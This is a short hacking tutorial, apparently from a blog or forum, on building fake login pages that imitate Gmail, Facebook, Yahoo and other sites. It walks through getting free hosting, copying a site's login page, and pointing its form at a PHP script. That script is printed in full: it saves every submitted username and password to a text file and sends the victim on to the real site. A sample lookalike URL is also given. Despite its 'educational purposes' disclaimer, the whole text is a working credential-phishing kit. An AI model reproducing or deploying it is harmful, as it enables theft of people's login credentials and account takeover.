Creating a fake ( Phishing ) page of gmail,facebook ,yahoo, myspace etc.

DISCLAIMER

I am not responsible for any damage caused by the user.This tutorial is purely for educational purposes.Please do not misuse this tutorial.

.

Phishing has become a very easy to use trick to hack usernames and passwords of users. Here demonstrate how to create a fake phishing page for almost any social networking site , email or any other site that has a login form.

For this trick you would need a hosting account , you can get that easily.

Register yourself at t35, host1free, 110mb etc.

Note- 110mb checks for phishing page on their site and removes them.

So now u have a hosting account so lets create a fake page-

First go to the target site. In your browser select Save As from the File menu and save the site on

 your hardisk with name "login.htm" .

or alternatively right click on the page and click "view source" and copy all of it and save them to a notepad file. Rename the file with "login.htm".

Now the second part of the hack-

Go to Notepad and copy this into it-

<?php

header ('Location: http://www.facebook.com');

$handle = fopen("log.txt", "a");

foreach($_POST as $variable => $value)

 {

   fwrite($handle, $variable);

   fwrite($handle, "=");

   fwrite($handle, $value);

   fwrite($handle, "\r\n");

}

fwrite($handle, "\r\n");

fclose($handle);

exit;

?>

Replace facebook.com with the URL you want the user to go after he click on submit button.

Save the page as fish.php

Now you need to edit the "login.htm"file we save earlier. So go to that and open it with notepad.

now search for any htm like "action=" which has something with login. And replace the URL with "fish.php".

Also create a blank txt file with name "log.txt". This file would be used to save your logins and passwords.

Now you are done,

Go to your hosting account and upload all the files to your server.

Now go to the URL provided by your host.

Like - http://g00glepage.t35.com/login.htm

And you would see the fake page as it is.

Now enter the username and password.

Check the log.txt file. The password and username you entered previously would be saved in the log.txt file.

Here you have a working phishing page

Note:- For this trick require website on which you have to put three file fish.php,login.html,log.txt (where your password will be store).